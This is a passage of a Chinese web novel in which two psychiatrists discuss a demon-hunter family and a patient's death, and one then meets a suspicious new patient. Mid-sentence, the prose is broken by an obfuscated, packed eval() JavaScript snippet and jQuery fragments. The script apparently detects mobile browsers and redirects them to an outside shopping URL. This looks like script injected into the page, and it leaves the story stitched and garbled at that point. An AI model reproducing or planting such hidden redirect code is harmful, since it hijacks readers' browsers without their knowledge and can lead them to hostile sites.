说完,杨弋就要起身离开。
段琅然叫住了她。
杨弋在漫天喧哗的灯光中回头,注视着那个喝得有点微醺的人。
这一幕画面仿佛她们见过许多次。在大学时一同在酒吧进进出出,谈天说地,那样的时光再也回不来。
只在今天,在现在,在短暂的一秒钟里,段琅然找到了二十岁的自己。
她努力醒了醒神:“我还有一个问题。”
事到如今杨弋没有不回答的立场。她再次坐下来,静静地看着段琅然,等待她的问题。
“我在梁铮的葬礼上。看到他的母亲往他身上放了一个东西。”
杨弋深吸一口气,闭上眼睛:“那是我们家族的标志,那个东西象征着捉妖师的能力。可惜小铮那个孩子他没有天分,所以......从小一直被他们视作废物。”
这样平淡的话语,更加令段琅然怒火中烧:“是废物,难道就能随意凌辱,就能践踏他的尊严?况且是不是废物,哪是由他们说了算的?”
“不!”杨弋摇头,“在我们家族。捉妖师是世代相传的职业,捉妖师的能力是评判一个人价值的全部。当年天赋测试他没有通过,他就失去了所有的价值。所以家族里的人,包括他的亲生父母,都把它当成可以随意丢弃的东西。”
可是他分明有梦想。
他想过要出国,想过要去做研究,要去深造。想过自己的论文有一天能够登上顶级的期刊。而他也明明有这个天赋。最后却走到了这一步。
“有的事用科学是说不通的。”杨弋的眼里浮现出了一种段琅然无法读懂的哀伤,“就像这世上真有妖精,真有捉妖师。那些听上去荒谬的事情都真实存在着。”
段琅然一直摇头,一直摇头:“但我放不下我之前十几年所学的东西。难道它们真的就是废纸一沓吗?我不甘心。我还是想知道为什么。为什么我都那么努力治疗了,小满却还说,在梁铮的体内看不到一丁点的希望的情绪。”
“情绪缺失......你说的这种情况,在小铮身上的情况,是功能性缺失。就和人断了手断了腿一样,是长不回来的。”
程小满在一旁撇了她一眼:“所以你也认为梁铮的某种情绪被吃掉了。”
杨弋看了看程小满,忽然像是被他的形容给逗笑了。
“吃掉啊......真是有意思的形容。没错,差不多。从他被家族放弃的那一刻开始,他就没有了希望,无论他自己多么努力,多么挣扎。他的命格已经被定上了废人两个字。”
“所以,吃掉他情绪的根本不是人。是你们整个家族。”
程小满凝视着杨弋的眼睛,从她的眼睛里得到了一个无奈但肯定的答案。
段琅然事先没有猜到,却也并不是很意外。梁铮的反常行为和他的反常经历已经注定了,他们这个家完全就没有正常人。
“小段,我出去的这几年发现我们能做的事情真的很有限。”
杨弋看着迪斯科球映射出炫彩的光斑,那眼神和段琅然那天盯着窗外时是一样的。
像是看透了一切,却又挣扎着想要给这个没救的世界找一点希望。
“这个社会把人的情绪吃掉,又一再责怪人,为什么没有动力,没有生产力?为什么不温顺?”
段琅然彻底沉默。
她对自己的自我认知很清晰,她知道自己没有见过世间百态,没有见过那些真正困苦的人,真正没有出路的人,绝望的人。
哪怕她见过形形色色的患者,这些人也太有限,只能算作这个世界上所有苦难中比冰山一角还要微小的一部分。
“我很想要帮助他们。”段琅然忽然哽咽。“可是梁铮已经是我手下去世的第六个患者了。”
十年前她可以说自己是一个天才,她可以高傲,可以不可一世,她可以看不起和他竞争的许多人。
十年后,她不能了。
如今想来,就算当年没有输给杨弋的事,现在的她也绝非十几岁的自己畅想的样子。
她的职业生涯给她立下了一个太大的坎。
她过不去哪个坎。
病人治不好。她就一再责问自己是不是还不够专业,是不是做得不够好?
是不是不配做一个心理医生?
杨弋看着段琅然脸上的泪,笑得苦涩:“你既然带着一个有情绪能力的妖精,你就要好好利用它。有时候科学这东西不管用的。你一味的执着于科学,科学,其实患者也没有办法得到救治。就像小铮一样。”
那一刻,段琅然似乎看到了历史长河中,无数因现实而妥协的人。
也许她曾经追求的,那个充满科学的,能够用科学治愈人的世界根本就不存在。这个世界荒诞可笑。处处透露着科学所无法解释的现象。
想要面对这个世界,她也只能使出那些非常手段。
“谢谢你,杨弋。”
“不用突然谢谢我,你还是恨我比较好。”
段琅然露出一个苦涩的笑容,斟酌着开口:“我如果现在说我想原谅你的话,会不会显得太高高在上了?”
“你不用这样想。原谅与否,主动权永远在你手里。而我就像我所答应的那样,只要我还活着一天,你有任何事情都可以找到我。我一定会不遗余力帮助你,去弥补十年前亏欠你的那些。”
她们会心一笑,而后像两个普通的同行一样,略显疏离的躺了一会专业性的内容。
段琅然不得不承认,杨弋在国外的这些年确实学到了很多。他当初所要追求的东西。确实是对她有很大帮助的。这些年,国内外的行业发展不太一样,所研究出来的前沿疗法自然也大不相同。
杨弋他们学校所对接的公司主要研究的是利用精密机械对神经进行干预和操控。
而段琅然留在国内读研、工作,接触到的内容相当得杂。有关于传统的保守治疗,也有一些药物上的新进展,几年前甚至有不少专家提出可以把中药融入到心理治疗的药物当中。
“说起来我当时有一个病人可能得求你帮帮忙。”
“杨医生在国外,不是没有待在一线吗?”
杨弋有些尴尬地笑了笑:“那只是我自己,没有在一线。我这次跟你讲的是我一个同学,他接诊的病人。不知道是不是国外那边的疗法太往科技上钻了,他很久都没什么起色。我觉得心理治疗嘛,还是需要有点人情味的疗法,更加有效果。”
“既然是杨医生需要帮助的病人,那我也没有什么推辞的理由。我的联系方式、还有诊所的地址你都知道,直接报给他就行了。到时候我来给他排一下咨询的时间。”
患者常寻,男,34岁,新媒体大厂工作,年收入七位数。
眼前这个病人倒是很符合段郎然对于“中年危机”这个词汇的理解。他哪怕是看病也穿着板板正正的西装,拎着一个皮质公文包,头发略显稀疏,光照稍微强一点,就能看到里面的反光。
“杨医生说你之前一直在国外接受治疗?”
“对,之前吃过药,电休克也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540031|203913||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做过......好几次。”
“电休克?你之前的症状已经需要用到电休克了吗??电休克的治疗后遗症是很严重的,你的主治医生应该也和你说过吧。”
段琅然都有点急了。
这医生是庸医吧?电休克这种东西的后遗症轻则应激,重则失忆。他们对这个看上去和正常人没什么两样的患者,居然说做就做了,还做了好几次。
患者轻轻点了点头:“对,当时出现了轻生行为,暴力倾向也出现了,还伤害过身边的人。医生跟我说......说,我这个情况必须要用电休克。我当时看了看那个也不是很贵,就做了。”
段琅然哭笑不得:“你这个不是钱的问题,电休克的过程对你的机体损伤是很大的。还有,你......做的时候不痛吗?”
患者摇了摇头。
“连电休克这种极端的疗法都用过了,还是没有见好吗?”
“就,暴力倾向是少了很多,本来我经常冲动打人,在国内的时候差点因为打架斗殴......被拘留。后来在那边治疗了几次以后,确实没再打过人,脾气再差的时候也只是动动嘴。”
段琅然挑了挑眉。
没想到那边的医生竟然这么会对症下药。
“那你现在的,困扰你的症状是什么呢?”
患者没什么感情地说:“我还是想死。”
段琅然看到他一本正经的样子,哪怕嘴里说出来的话很吓人,依然被逗笑了。
“不能上来就跟我说想死啊,”
“我也说不清楚我是什么感觉。我马上就要三十五岁了,”患者自嘲似的笑了笑,“我听他们说三十五岁是裁员大关,我这工作能不能保保得住,谁也不知道。”
“你工作压力挺大的吧?有没有什么缓解压力的方式?”
患者局促地笑了笑:“我没有时间。”
“我看你简历上出国治疗的时间不短,所以中途是换过工作吗?”
“对,提前跟现在的公司说过,不过说的是我去那边考察,考察一结束我就回国入职。”
听起来,他的经历并没有能称之为严重创伤的内容。工作压力大是事实,中年危机也确实悬在头顶,却不至于导致他产生严重的心理或者精神疾病。
“冒昧的问一句......哦,你不愿意回答的话也没事。你的婚姻和生育状况如何?”
“丧偶。有过一个孩子,和妻子一起出车祸去世了。”
段琅然叹了一口气:“不知道这是多久之前的事情,不过还是请您节哀。您和您的妻子......似乎感情非常深厚?”
患者第一次发自内心高兴地笑了出来:“对,她是我初中同学。我们是......高中毕业之后就开始谈恋爱了,也算是那个,从校服到婚纱。”
“行,你的情况我基本了解了,药物你还是按照之前的吃,其他疗法,具体的,我下次再给你详细安排。”
患者笑得恰到好处,让段琅然一愣。
她这时候才注意到,这个患者若不是精神衰颓,他的这张脸实在帅得无可挑剔。
“哦,您的证件掉了。”段琅然帮他把小卡片捡起来。
这时候她无意间撇到了那张证件。
上面写的并不是“常寻”,而是另一个名字。
“喻......景荣?您没有带自己的证件吗?”
段琅然抬头的瞬间,她的问题被自己咽了回去。
证件照和面前的人脸几乎完全重合。